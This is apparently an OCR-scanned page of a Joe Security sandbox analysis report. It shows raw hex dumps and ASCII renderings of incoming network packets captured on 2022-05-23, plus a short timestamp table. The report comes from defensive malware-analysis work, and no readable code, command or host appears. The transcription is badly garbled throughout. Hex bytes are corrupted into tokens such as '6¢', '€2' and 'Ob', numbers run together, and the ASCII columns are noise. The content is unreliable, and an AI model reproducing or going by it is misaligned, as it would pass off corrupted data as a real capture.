09 2b al 5e f1 3223 e7 77 79 a4 fa 57 6¢ b9 0a 46 9c 26 bc 9b d4 54 b5 e8 e7 38 4a 18 c7 4d 5d fe 84 a9 be 9f fa ea 7f
90 04 d7 6¢ 7 d2 14 6a 0a 68 c0 9f c6 5e 12 d9 36 26 fe 78 6d e8 ef 42 75 af f8 c8 89 d4 63 e4 aa e3 e7 6f 3a f1 32 el 9e
03 8e 47 d5 80 22 bd dO 36 4e 08 84 17 88 32 00 ed 2f 2e 1a 9f 14 40 83 fa 60 65 fb f8 47 a8 b3 8a d1 7f a5 d3 40 36 3e
16 81 0f 04 9a d6 15 18 2f d1 9f 8b 49 bf 3b bb 57

Data Ascii: D1&5xJo'+3jcgha J8lw_Y\Fwhhx+QHc@Ga<~[Y=+"2#wyWIF&T8IM]ljh6&xmBuco:2G"6N2/.@ eG@6>/I;W
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2022-05-23 16:46:57 UTC 196 IN
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Data

Data Raw: 50 e7 cf 65 02 Ob b5 2f 77 08 08 3a a6 7a 81 b5 06 29 96 73 €2 00 44 c8 fe 8d 5b Oe 2d ba b6 7f 51 58 1f 1e
ce dO a8 4f f1 2a 60 93 3f 34 37 50 €0 c8 e3 95 a5 5e b8 14 28 95 94 d7 37 04 84 a9 d0 43 72 bd Of 4a 2b al el €5 05 b3
2124 3 1a 27 44 86 8e 3d a0 dd 73 23 e2 61 64 d3 80 eb 68 4a 94 3b fb bf f9 35 b9 fc de ab a9 43 85 8f 98 19 8 4d 30
d6 e7 41 0a 25 d8 68 d4 23 0 1b b7 ff aa 24 97 fa a8 40 Oc 73 1c 87 be 32 b8 61 8¢ b2 1b 58 ec 49 9a 0f d3 d4 21 5¢ 9b
aa 14 4e 11 4e 51 9c 52 6f b7 27 66 39 fc 37 84 ¢2 0a f4 98 1e 11 f6 5¢ 02 17 21 be 9c 16 db ee f5 7 af 25 d3 3f ff Of 39
92 9b 27 19 29 8e ee d4 06 aa 6b 79 b6 d1 83 01 5d 58 04 ce 8d 52 al 0f f8 de Oe db 7a d1 7b e7 f0 04 2e 9d c9 cd 22 1c
8b 22 72 be 89 36 3c 4f d2 e6 a4 50 38 a7 87 97 92 b5

Data Ascii: Pe/w:z)sD[-QX0* 247PA(7CrJ+1$'D=s#adhJ;5CMOA%h#$@s2aXINNNQR0'T97\19629')ky]XRz{.""r6<OP8

Data Raw: 14 5d bd 87 c7 85 ¢3 19 98 5b 44 30 0a 5a 6¢ 43 66 d4 76 6f df 5e dc fd 8a 27 19 cd 02 6a f6 1d 01 52 {6 09 19
de 88 eb 8a 09 41 e2 be 4f c5 8f 2 e2 2b 92 47 92 f1 de ce cd 70 20 ef 78 93 78 2d 8 f3 c6 33 €6 d6 19 f3 47 bc 22 f9 Oa
ed 76 95 13 05 ef 59 b0 d4 25 ca c5 6¢ 48 53 95 8 21 b0 70 ef cd 95 e2 14 07 7c 37 a6 cO ee 6a f4 71 68 7 b5 85 ad 95
57 1b f9 95 59 4b 12 99 9b 5b 01 28 2d 98 10 €5 9a d7 d5 8d a4 57 8¢ fa 2e 98 df 1b aa 19 99 06 d1 45 cb 7d 4a a8 55
€2 6b €3 10 ee d1 be 09 ca 24 65 5¢ 4a d5 d5 7d b5 80 35 2d 01 el 53 40 66 26 26 de 28 ab 6d 5d 41 45 17 c1 58 b7 36
16 23 46 10 ae 51 ac 0a 9a 74 d4 57 70 69 42 48 78 €6 94 dd 1d 59 a5 fa 6a ea 5b fb 96 02 ae bc 91 a9 ¢8 89 12 57 9¢
79 82 6 5a 99 b6 4e b4 81 al a7 ca c8 Ob 84 75 a5 6b f1 4d

Data Ascii: [[DOZICFVONJRAO+GP xx-3G"VY%IHS!p|7jghWYK[(-W.E}JUK$e\J}5-S @f&&(M]AEX6#FQIWPIBHXY]WyZNukM

Data Raw: fa be 98 8¢ 4d 9f b8 8d 1c 66 7c 5e ca b5 d9 74 06 45 8e 77 9f 38 40 72 05 07 e5 e8 6b 1c a3 54 24 6 0d 47
1c 08 3e b3 63 44 ae 57 ca f2 c5 e5 al 1c 15 d2 b4 b5 68 df 37 e0 a3 a7 1b 5¢c a0 26 7e 61 2a fe 38 52 df al 4b e7 Oc 9c
931 d3 7c 9e 05 92 b5 68 76 18 d3 d5 3a €9 93 91 39 3b a5 6a c3 f1 fc 06 27 5a b5 8e e4 8e 88 a7 a3 9b 78 fb 32 4a 91
63 7c a2 68 ee c3 5¢ 13 07 4b 44 f6 ec Oa c2 ae bd 13 bf 17 8a 44 5e 57 3f 6e al 12 fd 86 Oc 3b d3 c6 c5 00 69 5e 91 14
61 c5 a4 f5 8d 1a 6e cf 51 8a 14 02 ec el 39 e4 8 35 66 1a 66 89 20 8¢ b3 60 e0 Ob 8a db 54 35 15 34 65 36 37 7b 56 08
d5e6 99 el 2d f8 f8 6a 49 6¢ 46 76 01 e6 1d ad 8b aa d7 68 ba be 9c d5 e6 29 6f c8 d0 24 1a 9b dc 04 b2 f4 10 6¢ 3c 1a
6d 7c Ob €3 92 2e 6d a2 e4 31 3b 44 38 ec ee 28 d8 b5 3e

Data Ascii: Mf[MEWB@rkT$G>cDWh7\&~a*8RK|hv:9;j'Zx2Jc|h\KDD"W?n;i*anQ95ff “T54e67{V-jlIFvh)o$l<m|.m1;D8(>

Data Raw: 75 af c6 98 1e bd f1 69 f3 ac 9a db 9c ae 51 3a e8 5d 88 7f 1d e9 69 7f f4 92 43 be b4 88 2d e8 20 cf 50 43 16
de 61 a3 39 30 e3 4b d8 5f e0 52 2a 71 58 0d c4 22 {3 f2 8 ff a9 48 58 b7 69 43 41 a8 d4 a0 30 ab 3c d2 24 88 20 fa d9
9a 89 b6 a2 c8 a0 1d 12 86 21 78 al b8 33 c1 31 4b 18 2a cd a0 9a 6¢ 88 5¢ dO 1f c9 b6 6b 90 1c 93 83 91 ea fe 22 78 56
€2 70 24 ba fa 2f a2 cb 1f e3 5e e7 3f ad 1a 56 el 13 41 4d 9c b4 dd f9 15 63 9b fb €9 30 1b 35 5a 2f c9 ea 4e 18 c8 25
2270 2b 97 02 d6 03 e7 91 4b d6 db €9 fc 52 03 76 a7 45 73 6d 56 89 25 64 4c 2 dc 16 fe da dd 11 70 30 d7 89 10 00 05
d3 d3 5¢c 57 f231 87 96 d0 d9 18 1b d1 de 92 93 f4 2b 71 28 f2 fb 38 €5 68 28 c9 54 2d 60 21 ad f7 f4 74 d3 59 af 46 2e
b7 88 c3 56 e3 ad da a4 b6 e0 cd 92 d2 96 32 cf 54 9b

Data Ascii: uiQ:]iC- PCa90K_R*gX"HXICA0<$ Ix31K*I\k"xVp$/"?VAMCcO5Z/N%" p+KRVEsSmMV%dLpO\W1+q(8h(T- ItYF.V2T

Data Raw: bf 45 3e 87 f8 €8 53 90 de d1 e6 d2 bf 34 a8 aa 01 4c 1c 06 73 89 d7 a0 66 a4 6a a9 2c d0 02 fc 68 cc 04 9b
3290 21 41 b8 c5 d3 b0 c2 32 ed 3e 12 99 c6 d2 9f 83 fc db db 70 da 6a bb 21 1b df 8b af c2 ff 70 18 ad 6a c6 a0 19 ea
78 93 63 fa 9f d2 1d cf 06 d8 06 af a9 a6 49 22 d9 70 d2 91 3a 74 2f ab 16 95 bf 32 b7 b7 60 5a c0 9e 5b 20 0Ob 63 88 cO
14 c6 d6 11 Oe d9 c3 2a cc 20 57 00 2e 4c 52 b4 58 45 83 6d c0 8d 5f 8f b6 e6 61 7d fd 04 9b 48 2e 32 f1 a4 c7 8c a6 73
le 2b ad fd 90 98 70 40 cf 65 d2 8e 41 51 a0 8c d1 47 65 07 fb 3c b4 bd bc c¢6 5e 80 9d 36 33 16 ac 47 b9 3c bc db 18 ac
Ob 2e db el f0 3e f7 b4 db d4 8f 26 2a 94 3e a3 c2 e2 9f a9 d1 be fa 79 1d bb b9 19 29 7b fa fa 28 b1 98 06 8d ab {7 7d Oe
a2 5e 10 73 fa 7d c8 37 b6 ff b2 ac 08 7f 5e 27 46 6f

Data Ascii: E>S4Lsfj,h:!A2>pjlpjxcl"p:t/2°Z[ c* W.LRXEm_a}H.2s+p@eAQGe<"63G<.>&*>y){(}*s}7"'Fo

Data Raw: c5 1a 16 7c 8c b4 6e 3¢ 23 65 35 72 90 1f c2 d9 98 72 1b 88 Oe 2f 9c 2d c5 85 8 a5 f8 3c d7 cc 2f 25 bc 84 f5
7b 7f 28 10 01 6e 93 09 b7 04 0f 3e 5¢c 4e 5 e7 56 3 61 b2 43 ef 30 c1 b7 ac ec 27 ba e5 ce fc 36 01 e2 7a d4 66 39 ef 30
33 d3c86b 47 24 11 7c 3e e2 38 03 48 3d 65 54 cb ea c4 19 88 2e 9f 65 a0 2¢ 79 1c a2 6b b8 f9 2a 30 a5 56 Oe d6 55

07 7c a5 60 fc c5 42 41 08 0f 6¢ ce 7a 99 d0 83 78 9c 68 fa de a5 83 52 54 72 cf 34 01 89 4e cl eb 2a 91 52 9b d9 fO 77
9a a7 e0 08 c6 30 62 0a 97 fc d2 c1 8f 82 c4 3e 37 32 c7 a4 9c 4f 4e 5d f5 b4 c3 {7 2b 1d 08 c3 de 00 89 04 45 3c ad 1b fb
€6 4d ac cc e3 26 6e 8b c2 al 65 46 c4 98 34 1a 34 11 3a 8¢ 30 32 el ee 70 ef a9 04 6¢ 48 11 a2 2f 64 df 06 b6 63 ff 12
e3 7d d5 54 00 68 09 fa 99 ec 9e e8 a9 f8 59 ec 38

Data Ascii: [n<#e5rr/-</%({(n>\NVaC0'6zf903kG$|>8H=eT.e yk*0VU| BAlzxhRTr4N*RwOb>720N]+E<M&neF44:02pl
H/dc}Thy8

Data Raw: d5 d8 2e Oa 76 Oa 4b f1 92 9f e3 65 99 08 d5 35 bf 62 35 ca ad 92 36 ff bd d8 da eb e8 98 d5 de b5 5a da 87 af
1c 88 ¢3 2d 1a 2a 55 37 27 73 2c 8b 24 2c ef 81 04 7d 85 c3 c3 3¢ b5 9b 56 9c fb c6 59 81 34 7d 27 30 5f 97 47 c1 90 83
€0 02 ad 69 47 ec 21 c2 1a 61 d1 97 f8 fe 5a 05 dO eb df d1 40 b8 4c aa 31 97 8b ad b7 b2 d0 bf 3f b3 b6 6f 11 99 5e 76
ed fb 9b 65 e9 af cf 14 ¢3 1c f3 fe d1 bc 1e 31 77 b3 dc 04 a0 6a fO a4 df 5d ee 4f 76 0f 9a 01 dd a3 1c a9 f8 fc 1d b3 f2 ec
95 ec 29 36 88 c0 d2 Oc 66 3f 48 df cd ee 3a c1 92 1a c0 Oc 8d 73 ea 49 15 dc e6 c4 18 5a 1a 24 Ob cb 90 f6 c9 cc af b4
d1 d5 76 46 49 d1 cc 3a ca 94 61 75 5a 2f 2d 87 f9 05 27 69 ab a4 1c 45 9c 87 64 08 b3 35 fd 77 bl 33 29 87 32 22 74 84
a4 ff 73 a4 7c b4 da 41 bc 56 66 94 47 79 6a f5

Data Ascii: .vKe5h56Z-*U7's,$,}<VY4}'0_GiG!laZ@L1?0"velwj]Ov)6f?H:sIZ$vFI:auz/-IEd5w3)2"ts|AVIGyj

Data Raw: e4 12 3c ff 03 16 de 63 99 e8 78 d4 3 85 91 64 12 20 c8 99 9f 72 7c 4e dd 49 a2 8e ad ea 27 27 2e 40 f9 b4
7b 56 4f 5e ee ed 90 80 4b 0a 87 ae 04 7c b9 bf 54 38 6d 9e a7 92 d7 79 6¢ 71 2b dd c9 51 c9 5c a0 04 ad 08 de c3 33 c5
86 4d 21 7f 2a b1 b9 61 f4 f9 db 3 €7 d4 7b 47 e9 68 ff 05 39 34 f1 50 af b0 f3 80 15 44 3d 57 1c 98 da e4 25 65 6a dd 83
5f 96 49 7d 6a 5b 55 ad 6a 01 53 92 2¢ 40 8c 3c 27 23 c2 49 ea 7f f8 ef 8a 8a 00 34 dd 2f 20 08 18 1a 1f 27 61 88 29 23
68 53 7f 9d b8 7e f9 65 €7 Oe 4a c0 ea 68 b0 3a 9f 8f ae 4e el a0 dd ec 67 16 65 18 49 21 21 04 4d c4 26 89 01 Oc 4a eb
a4 74 b9 11 c5 1e d3 fa cd b2 e4 23 57 62 08 a6 e6 dO ca 48 b2 eb 85 c8 bb c7 61 6a a6 a4 01 ae bl 12 d0 ac al 36 d6
4c bd dO d8 82 e0 ec 31 3a 74 22 60 9b 5b 03 eb 9f 12 37

Data Ascii: <cxd r|NI".@{VO"K|T8mylg+Q\3M!*a{Gh94PD=W%ej_l}j[UjS,@<'#l4/ ‘a)#hS~eJh:Ngel!!M&JIt#WbHaj6L1:t""[7

Data Raw: d2 f3 31 a8 88 1d 5a ba 62 a9 5e 9c 1b 34 06 37 4a d0 bf d5 69 a7 95 92 32 f3 6e 66 89 a0 33 3e 9c 47 3e af
84 13 e9 Oe 8c 3 0d f8 99 92 97 ab 65 ba 4b f0 02 c9 2a 11 be 17 2c bb 19 45 d2 d0 72 c7 d1 d7 7d 9a 64 3a eb bc d2 01
€3 40 48 48 a2 fc 8a 64 ¢5 55 9a 65 be 07 ¢7 c8 df c8 18 88 92 ae 56 36 5¢ bd 5d 2¢ 0f 31 ad 7b 4c 59 3e 63 cf ae 51 ad
d5 81 63 4c d8 7d cO 96 de 61 1f 66 65 fa 5e b6 7a 54 38 f1 30 4f cf 4d 28 64 11 31 fb a5 7f ec Oc c0 6b ad ca 3d 80 22 47
43 08 dd 95 de bf 4a 6¢ b3 79 d3 b0 85 1f bd 14 63 7d 92 5f 6b e5 23 da 1e 92 12 99 aa 80 l1a 17 66 f7 53 72 20 5¢ 72 d8
74 b3 0a d5 ff 5b bl 63 5a 4c 91 4a d0 20 de 5¢ 39 f4 9b 79 97 3d 1b 6a b6 Oe 87 40 18 ac 51 8a 98 c7 ef 01 73 f2 e4 44
8d a4 e7 4a 68 cc f0 84 fa 74 cf 0d 64 cd d6 27 f1 88

Data Ascii: 1Zb"47Ji2nf3>G>eK* Erjd: @HHdUeV6\],1{LY>cQcL }afe"zZT80OM(d1k="GCJlyc} k#Sr \rt[cZLJ \Qy=
j@QsDJhtd’

Data Raw: ce 1e a7 ba 83 ca 08 4c 1f 46 81 61 ee 26 b0 66 cd 6¢ ca 5d ca ba b5 c4 69 7d c1 31 d1 fe ee 51 fa 01 58 ac
7e eccl edOafb d4 84 4d 47 Ob 6a 73 b7 fa c4 dc d6 b9 c7 1a 2d f0 62 83 63 17 13 8b cc e2 d3 9f b7 17 8b 3c 70 13 Of
70 b7 51 4d ab a9 88 63 2b 33 3c 2e 12 09 71 ba ¢3 94 95 f6 06 e7 6d 62 a5 81 1a c3 6d bd a7 e7 8a 57 fe ca ae e7 cf 5f
4d 0b 8¢ 9a 81 b7 13 95 24 ¢8 f0 3f 7b 76 92 18 1b 3a a0 ff 8c 4e af f4 a6 f1 97 16 03 3d bf 17 39 f9 e2 d0 88 12 4d cf e3
f1 ec 12 08 d0 93 65 1a cf fd 07 4b 8c ab fc 2f 77 59 fd b4 Oc 45 9a cO b9 1e ee ea 11 13 b9 62 a6 67 c6 3f 28 6b af 3a be
e4 c5 15 el f1 b2 be 1e c4 f0 53 fb 53 42 6d e2 eb cf 6e ba d7 6b Ob f6 e2 35 61 3e 35 7f 5¢c 2c 8f de a6 66 2c ae 64 20 7d
75 22 f3 fc d3 d6 18 78 84 9d 34 f9 al b3 a2 32

Data Ascii: LFa&fl]i}1QX~MGjs-bc<ppQMc+3<.gmbmW_M$2{v:N=9MeK/wYEbg?(k:SSBmnk5a>5\f,d }u"x42
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Data

Data Raw: 40 48 55 a2 ac d1 de 90 ce 36 99 5a 89 dc de 87 b2 5d a8 f1 ef fc cc 2d Of d4 51 Of 2e aa 5f 2b 50 21 c7 92 ea
dd 74 0f b6 31 38 8b d4 3b c3 bf 23 b5 fc f9 60 19 10 b5 e9 46 e2 a5 f2 06 Oc d2 ec 7c 81 el 9d 01 6f 31 63 00 b6 a3 d9
4b 00 3a 9d 53 d5 21 78 80 ae e0 bb Ob 21 bd 58 c0 d9 60 c2 50 12 56 a5 44 db 07 13 83 ff 08 8d 9f 53 b5 bb 77 c0 ae ec
1289 87 66 db ef 1c 19 d2 08 83 0d 1d 2b f4 9a b7 5d 5d 40 f7 87 7a 84 cb 8d 71 45 48 34 9f 52 Oc fd b9 ff 33 43 97 8a
5e 06 df 8b ac e7 fb 5d b9 3b 70 €8 a2 08 6¢ 66 1c 7d 68 b2 73 4b 50 5b 94 f0 d3 21 5a 66 e3 ac 22 7f 1c ed 8a 69 9b 56
€2 44125152 ca49 8a a4 a3 97 93 4a a2 f5 d9 b6 3f ac 74 dd d9 f9 23 15 c2 2b c1 40 b5 53 9e 50 23 3d b7 9d 59 0f cc
dc 5f de 15 80 a0 61 96 38 a0 b2 d0 08 05 d8 al 9d dc

Data Ascii: @HU6Z]-Q._+P!t18;# F|o1lcK:S!x!X PVDSwf+]]|@zgEH4R3C|;plfthsKP[!Zf'iVDQRIJ?t#+@SP#=Y_a8

Data Raw: 7b e0 12 ¢3 Oc 47 89 11 5d 2c d3 54 ca e6 66 c1 2a 3d c5 c5 be a2 f5 78 33 82 3e e2 29 6e c3 5e 6¢ 10 f0 a3
d8 1le 7a 40 d2 75 b1 c8 08 3b 54 2e 03 9¢ 26 9a 10 61 30 84 ac 35 ed b6 ad a2 55 d5 d4 ae 7a 30 69 f7 45 b7 c0 da da
86 13 82 30 64 d1 94 f9 32 38 d0 63 39 2f c0 75 5e bc d3 d6 d4 85 8b 98 11 24 3d 99 9a d0 98 f7 €9 97 95 e0 77 4b 76 39
5c 2f dd 44 83 18 d6 53 b0 50 41 7b ca b8 74 4f 53 e2 5a 4e 01 41 3e 76 ea Oc 1e la 2f ea 7c dc c5 d6 65 78 bc 46 78 ee
76 3859 f6 32 96 32 d5 d4 b6 64 4e 6b e7 f9 60 ab 4f ff fc 4e 80 a3 Oc c7 b0 40 87 c5 45 33 f8 5d 97 54 50 20 ac 6¢ 2b 9e
5b 97 e3 b3 Oe 15 1a 82 4a 61 7f a7 ae 41 ¢3 7b 33 a3 24 b1 bc 17 d7 50 20 c9 7a d5 65 aa 63 22 91 24 dd af 04 2a c2
8d 25 8c d3 2c 88 3a 83 bl f2 f3 17 64 94 4d 9f 84 45 e9 54

Data Ascii: {G], Tf*=x3>)n"lz@u; T.&a05Uz0iE0d28c9/u”$=wKvIVDSPA{tOSZNA>V/|exFxv8Y22dNk'ON@E3]TP I+[J
aA{3$P zec"$*%,:.dMET

Data Raw: 07 8d d2 Oa fb b8 70 3c 1c fe c1 76 43 2a 17 49 52 04 27 dd c4 9d e8 53 42 el 39 50 28 ea 7f 87 bc 15 Ob 22
2055 ad a7 53 19 ae 4f b4 87 b5 31 3e de 59 da fO €3 ab 24 08 61 84 40 f0 1f €9 49 e7 b4 13 d4 cb 2e 32 92 4f 83 19 1c
32 b8 c3 7f 25 8b b6 fd fe d8 58 91 Oe 03 Ob 10 89 8b €9 €6 f9 €8 €2 b6 c0 01 7b 68 90 16 el dO ec 28 69 b4 18 e3 40 46
3a 3fa3 13 9e 02 0a 23 4a 06 3a dd 7b b0 7a 86 4d 56 b9 73 d5 9a 97 el 6b 8b 6e 6¢ c2 dd bl d9 a3 10 d2 al 22 2¢c 21
7 a3 0a 1f 4b 89 24 al f5 d3 0a 68 59 b7 c9 el 8c 50 b3 3c eb 61 56 80 55 18 58 48 69 d6 1c 26 Oe 26 74 64 35 86 c7 9d
Oc 96 fb 4d 16 bf 95 83 16 14 9a dd e6 3f a7 ¢3 35 10 09 9d 2a 46 75 ae 1a 48 0d 2b 82 47 ee 75 b9 32 62 f4 75 60 01 7c
af 4f 59 80 d8 8b dd Oe f8 b4 21 b0 e8 b2 e5 45 3c 7a ab 48

Data Ascii: p<vC*IR'SBIP(" USO1>Y$a@!.202%X{h(i@F:?#J:{zMVsknl",!K$hYP<aVUXHi&&td5M?5*FuH+Gu2bu’|OY!
E<zH

Data Raw: ec 9f 72 82 09 a4 3e a5 fa dc 38 a9 e9 18 90 26 f1 2d 80 6e 98 77 b9 37 07 62 al 42 f5 77 bf 4b a3 62 8f b1 0d
b6 9d a6 90 5¢ 70 3b bf 28 79 b8 58 ae be af ed a4 b9 83 c7 c3 8 d6 bf 10 ec 76 7a f8 5d b0 31 Oa de 2b 69 85 29 82 fe
6c 78 Ob ce 99 1b d2 79 3f 3a cc 9f 65 da 72 18 df 70 59 ba d1 2e c7 ae al 50 91 b5 11 46 a6 le da 55 b3 31 69 6f d1 81
8035 16 1e 43 21 cf d7 82 c9 68 ed 75 55 85 9d 78 2c 81 fe e8 39 07 fb 2b el 1d 9e 60 50 68 22 89 ed 80 dc 90 cf c9 b6
50 5d 34 d8 64 32 b2 b7 2b d0 6d 95 d2 c2 65 75 63 83 c6 4f 7c c7 0f ¢3 9a e9 f9 Oc 8f Oc 7e c6 6f bl 3f 8e cc 1f el 60 ae
9d e5 b6 5b 8f 88 81 89 79 01 75 87 3e 1f ba 58 bb 94 a0 9a 2b f3 9f 41 f0 53 fa fc 96 24 aa 45 6b 60 90 ec a7 Oa 15 33
0a 49 05 6¢ 3a d8 e5 81 38 e5 e7 15 5a 25 04 38 72

Data Ascii: r>8&-nw7bBwKb\p;(yXvz]1+i)lxy?:erpY.PFULio5C!huUx,9+ Ph"P]4d2+meucO|~0? [yu>X+ASS$EK 311:8Z%8r

Data Raw: e2 be 53 59 15 5d 92 ed 47 51 1a f9 3d 69 9e 4a 18 eb 62 5d f3 65 f3 be ¢5 60 87 93 31 25 18 ae 42 21 60 d2
Oe fb 3c e3 2b db 05 9e 49 e0 6a 5 d6 05 55 15 da 36 fe 1a cd d8 16 d7 ee cd 68 7e Oc de e9 8b f3 2a 43 ed 4c 5d 8b 0d
75 0f 2e 6a 8d cb 4e cc 25 b0 08 f6 fb 1c 87 71 aa 52 50 eb 18 97 20 9b 86 db c1 0f 72 98 98 7a 2a ad 6f fO fd 52 2c 09 e3
d8 e2 dc f5 f4 58 d4 2b bb ef 73 53 ¢5 00 81 91 04 a6 cc 64 dd 4e a5 f2 d8 e7 b7 bb 85 64 4d 36 e6 ec 9a 66 f6 27 ac 06
b8 fc 32 d3 3e 4b 61 ec 75 6d le 52 c3 c8 f8 27 a7 14 81 e7 20 94 80 99 fc af 8a fa fb 72 51 b5 cc 11 43 8 70 4a 3a 60 14
d0 38 53 7d 41 7d a3 b0 ce 5b 0f d9 59 d5 bc ba el 6e b6 33 af 87 f1 d0 b1 a5 72 3b bb 1b 12 47 8d 00 b9 fe da 9e dc 6¢
3f50 57 86 60 4c b8 b6 7d 0d 35 13 67 5fed f2 el

Data Ascii: SY]GQ=iJb]e 1%B!"<+IjU6h~*CL]u.jN%qRP rz*oR,X+sSdNdM6f'2>KaumR' rQCpJ: 8S}A}HYn3r;,GI?PW'L}5g_

Data Raw: be ee 36 42 26 7 ¢3 25 44 9a f0 9d 77 2c 31 ce fd f7 93 79 cb 72 85 84 2e b2 fa 86 47 b8 4b 67 14 f2 81 e8 bc
77 68 c7 10 8e e6 9b 76 €0 a3 22 ab 1b 75 a7 fc 49 88 6b b7 4e 5c cf 1e 5¢ 2d 3a 70 97 f6 8¢ 7e dc d3 05 30 45 35 78 09
97 aa 09 a5 cb af 64 ¢3 03 0f c9 54 ef 94 22 ad cf d1 8c 3b 39 81 fe 8¢ 42 76 e7 Ob 2a 67 5¢ bb f2 3e be 88 da 61 e9 11
d0 a3 d8 93 cc 18 92 46 {7 45 d2 77 29 bc 83 59 41 cb aa 07 6f f8 cf 2d 2c 08 5e 58 a9 42 af a5 00 80 87 5b ae bb 03 bb
65 62 1f ee 9b a3 1b a9 8¢ 78 2f c9 f4 a5 1f e4 28 3a c8 69 49 ¢3 3¢ 83 a7 5d 6e 56 59 fd da 7c f2 1e 4d 49 bd c4 dd 3e fc
24 aa 02 37 8b ¢3 9a 1c 4c 02 35 44 4e ad 7e 8f 38 44 40 8b 92 38 70 39 a0 a5 dc 99 c5 bd e2 18 b4 fb de c7 33 96 18 4b
08 8e 09 af d1 7b a8 32 00 7c c3 be f1 e9 1f 71 32

Data Ascii: 6B&%Dw, 1yr.GKgwhv"ulkN\\-:p~0E5xdT";9Bv*g\>aFEw)YAo-,"XB[ebx/(:il<]nVY|MI>$7L5DN~8D@8p93K{2|q2

Data Raw: 11 3d 72 ec 70 f5 €9 18 07 1a 34 bd 0d 62 10 33 7d 4f c0 32 85 0d da 4b 46 f3 70 99 4c 8a 35 81 71 ad 6d fb
a4 92 4f ¢3 cc 70 9d 44 b8 €0 df 70 47 25 45 23 69 d3 48 b3 87 c3 e5 €0 5c d4 al 59 07 3a 5b 3c 5e 8f 52 45 0f 75 d4 fc
2a 53 45 Oc d3 8a 86 bd 99 45 04 58 63 0d 8c 08 83 Ob 43 ae ce 31 aa 0d 87 7c 52 f6 Ob 7a al 74 c0 3d 37 a6 b0 02 c7
6¢ de 62 1b a9 7f 40 f1 86 9f 22 32 {7 4a 2e 53 27 14 8¢ 85 17 18 37 Oc 88 b1 a5 bd 0d 75 a3 7 27 c4 b d7 eb 4e bd 9a
CA 10 4 be fc 6a 93 1f 37 62 f5 b4 00 41 2c 74 70 84 87 f9 c7 9b 77 d7 c5 6f 25 a6 ae 4a ce 05 23 51 fb d7 94 99 ec 02 3e
475291 25 05 80 65 5b b3 4c 29 50 d8 15 2a ca 7b 3b 5b ef 30 cd be ec 08 3b 2d 9¢ 27 60 14 7c 36 d4 e6 69 53 15 66
50 68 48 d9 58 b2 f9 fc 2b 66 53 cf 38 32 e1 09 3f c1 7e 3f

Data Ascii: =rp4b3}02KFpL5qmOpDPGUEHH\Y:[<*REU*SEEXCCI|Rzt=7Ib@"2J.S'7u'Nj7bA tpwo%J#Q>GZ%e[L)P*{;[
0;-"|6ISTPhHX+{S827~?

Data Raw: 05 23 06 35 18 5b 4b ee c8 f5 al 3c b7 d2 7d fc a4 el 6a 5f ed a6 0f 7a 83 f2 de ad 99 b1 a5 7d 78 6b 4f 3d 88
€8 be 93 23 49 1d 41 8c 7e d1 78 a8 06 ca eb 05 43 36 de cf ab 2e b1 8f 9f e2 38 9d a0 64 d9 d8 8c 02 f9 65 fb ce b7 ea
41 37 46 3f d2 55 68 7a 77 42 50 4b 7d 5c e2 85 de c7 48 d1 59 29 0d 73 df 41 b2 37 08 a9 48 59 51 43 25 d7 44 73 51
6e 49 76 f5 16 91 ff 27 36 17 df df 2f 89 c8 ae 79 9b 9a 06 d4 11 00 51 97 a7 62 ac d7 91 7d 7f 04 fd 72 19 ec Of 78 2e 03
d3 91 90 d6 bb 40 aa 26 be 4d 5e 2c €9 21 f5 4¢ 41 23 95 be dO Oa ef 68 6e 81 cd a4 af 7f 85 70 c8 5a d1 e4 12 fe 46 8d
6d 0d 66 45 2f ee b8 0a 2c ba 70 1e c9 d9 ee 5b 71 30 27 a7 6e bd 2e 8d 3 5 cf 64 78 97 5a 03 22 4b 27 d7 2b 79 8¢ 3f
ab 25 1e 3d 22 35 aa €8 03 3b 7c 1c 89 1d 95 2f ea be

Data Ascii: #5[K<}j_z}xkO=#IA~xC6.8deA7F?UhzwBPK}\HY)sA7HYQC%DsQnIv'6/yQb}rx. @ &M, ILA#hnpZFmfE/,p[q0
n.dxZ"K'+y?%="5;|/

Data Raw: fc f8 af 3f 0d 69 22 11 25 60 68 c6 9d 13 1a 9f 6e 1d 13 a5 75 f7 8b 99 35 a7 d3 b5 22 Oc 75 f9 fd 85 21 e4 42
cc ed 18 89 df a6 48 d6 38 ad 47 10 26 6a 81 33 f8 80 €9 27 31 66 45 63 db bf b9 a0 11 2a 79 d8 32 88 1b 03 88 13 b2 2d
9b 46 60 3e 89 e7 5f 11 7f a9 de e2 c8 a2 72 f8 e4 6f b3 82 2d 22 3f 25 41 bb f2 4b c1 b9 19 Oe 15 09 01 8f f7 ca 1f 3b f9
a0 a7 e8 35 cd a5 c0 1b 93 23 90 88 83 e2 9b cb 2f ef €9 2e 6e 61 0a el 92 db 54 7d 36 9d a0 3f 08 70 le d8 c4 f4 89 8¢
€2 46 35 27 6b 88 bd c6 d4 83 bc 99 f8 5f 2d 65 6a 05 6f af 67 45 5e 54 3 6f 55 f2 70 ab 66 73 0d ab d3 Ob 81 16 77 3b 9f
b0 4d a0 d3 de 69 00 c7 03 65 21 d6 2a 34 2d 25 bc 6a e2 Oc 06 91 a4 e2 4a 96 f6 Ob 33 23 ae 5f 27 de bd d0 b7 9c ea
c52b 01 82 7f 2c b8 b8 ed 56 cd 42 4d 1f dd eb 35

Data Ascii: ?i"% hnu5"u!BH8G&j3'1fEc*y2-F >_ro-"?%AK;5#/.naT}6?pF5'k_-ejogEAToUpfsw;Mie!*4-%jJ3#_'+,VBM5
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kBytes

Timestamp T Direction
2022-05-23 16:46:57 UTC 399 IN
2022-05-23 16:46:57 UTC 415 IN
2022-05-23 16:46:57 UTC 431 IN
2022-05-23 16:46:57 UTC 447 IN
2022-05-23 16:46:57 UTC 463 IN
2022-05-23 16:46:57 UTC 479 IN
2022-05-23 16:46:57 UTC 495 IN
2022-05-23 16:46:57 UTC 511 IN
2022-05-23 16:46:57 UTC 527 IN

Copyright Joe Security LLC 2022

Data

Data Raw: e4 b8 15 a8 fb ed e2 ef bd a7 5d 1a 27 f7 9a 52 86 61 11 €0 50 b1 e3 bb d7 91 60 91 3b 9d 77 d8 0d e9 e9 72
eb 3318 cd b8 c5 42 3 d8 73 51 74 81 c2 Oe 06 dd 83 17 43 2f fc 3b ba 1c ae c6 fb 73 d2 f9 3e ac 33 21 4c 85 b7 e5 ca
00 fe 9a fO fc 9 47 36 62 47 a9 61 16 3b 12 79 6a 6a fe 8d a4 c9 5f d4 a5 2d 1c 60 e4 53 9c b6 c4 d6 4f 6b f1 4d 2c 61 64
